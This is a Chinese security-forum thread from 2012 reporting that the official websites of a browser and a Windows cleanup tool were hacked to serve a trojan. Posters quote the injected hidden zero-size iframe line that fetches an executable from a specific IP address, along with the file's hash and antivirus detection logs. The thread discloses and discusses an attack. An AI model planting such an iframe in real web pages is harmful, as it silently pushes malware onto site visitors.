【新】 Windows清理助手官网也被挂同样的木马

zhuyifan2007

快快瀏覽器 官網www.kkllq.com 下所有頁面都被掛馬，
每個頁面第一行都出現這樣的代碼：

1. <iframe src= http://58.243.166.196:8080/server.exe width=0 height=0></iframe>

复制代码

只要一訪問這些網頁，都會提示下載這個病毒：

hxxp://58.243.166.196:8080/server.exe

新：Windows清理助手官网也被挂马
在Google中打开指向http://www.arswp.com/的链接时，Google会提示有恶意软件：http://www.google.com.hk/interstitial?url=http://www.arswp.com/

进去后查看代码，也会在代码的最顶部发现这样的语句：

1. <iframe src= http://58.243.166.196:8080/server.exe width=0 height=0></iframe>

复制代码

275751198

正常访问无拦截，病毒文件报毒
文件信息
文件名称：C:\Users\Administrator\Desktop\新建文件夹 (2)\新建文件夹\server.exe
文件大小：
425 Kb
内部名称：
无内部名称
文件签名：
无文件签名信息
文件描述：
是一个木马
文件MD5：
f166888983ca07ec0de63c68e228ab2b

275751198

双击后在windows文件夹病毒


360杀毒实时防护日志

时间                    事件             病毒名称                                  处理结果                                             文件     
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
2012-05-25 23:38:43     发现安全威胁     恶意程序(Dropped:Trojan.Agent.VBS.AK)    已经禁止对此文件的访问，文件将无法被运行、移动。     C:\360SANDBOX\SHADOW\windows\5258061D.exe     
2012-05-25 23:38:40     发现安全威胁     恶意程序(Dropped:Trojan.Agent.VBS.AK)    已经禁止对此文件的访问，文件将无法被运行、移动。     C:\360SANDBOX\SHADOW\windows\5258061D.exe     
2012-05-25 23:36:48     发现安全威胁     恶意程序(Virus.Win32.Parite.H)           已删除此文件，如果您发现误删，可从隔离区恢复此文件。     C:\Users\Administrator\Desktop\新建文件夹 (2)\新建文件夹\server.exe     
2012-05-25 23:36:25     发现安全威胁     恶意程序(Virus.Win32.Parite.H)           已经禁止对此文件的访问，文件将无法被运行、移动。     C:\Users\Administrator\Desktop\新建文件夹 (2)\新建文件夹\server.exe     

yaoogle007

hxxp://58.243.166.196:8080/server.exe,访问阻止

yaoogle007

www.kkllq.com ，网页进入无截拦

Love=卡巴+费尔

4毛5的诺顿

yaoogle007 发表于 2012-5-25 23:42
hxxp://58.243.166.196:8080/server.exe,访问阻止

你这个页面怎么出来的？我点开网页没见到啊

4毛5的诺顿

yaoogle007 发表于 2012-5-25 23:42
hxxp://58.243.166.196:8080/server.exe,访问阻止

呃，知道了，你是直接进入的hxxp://58.243.166.196:8080/server.exe，而非官网主页

蓝天二号

微点

zhuyifan2007

清理助手官网被挂马